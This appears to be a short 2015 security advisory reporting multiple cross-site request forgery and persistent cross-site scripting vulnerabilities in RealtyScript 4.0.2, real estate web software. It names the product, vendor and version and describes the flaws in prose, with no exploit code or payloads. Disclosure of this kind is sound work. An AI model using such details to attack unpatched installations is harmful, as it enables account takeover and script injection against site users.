RealtyScript 4.0.2 Cross Site Request Forgery / Cross Site Scripting
Posted on 20 October 2015
RealtyScript v4.0.2 Multiple CSRF And Persistent XSS Vulnerabilities Vendor: Next Click Ventures Product web page: http://www.realtyscript.com Affected version: 4.0.2 Summary: RealtyScript is award-winning real estate software that makes it effortless for a real estate agent, office, or entrepreneur to be up and running with a real estate web site in minutes. The software is in daily use on thousands of domain names in over 40 countries and has been translated into over 25 languages. Desc: The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Multiple cross-site scripting vulnerabilities were also discovered. The issue is triggered when input passed via the multiple parameters is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
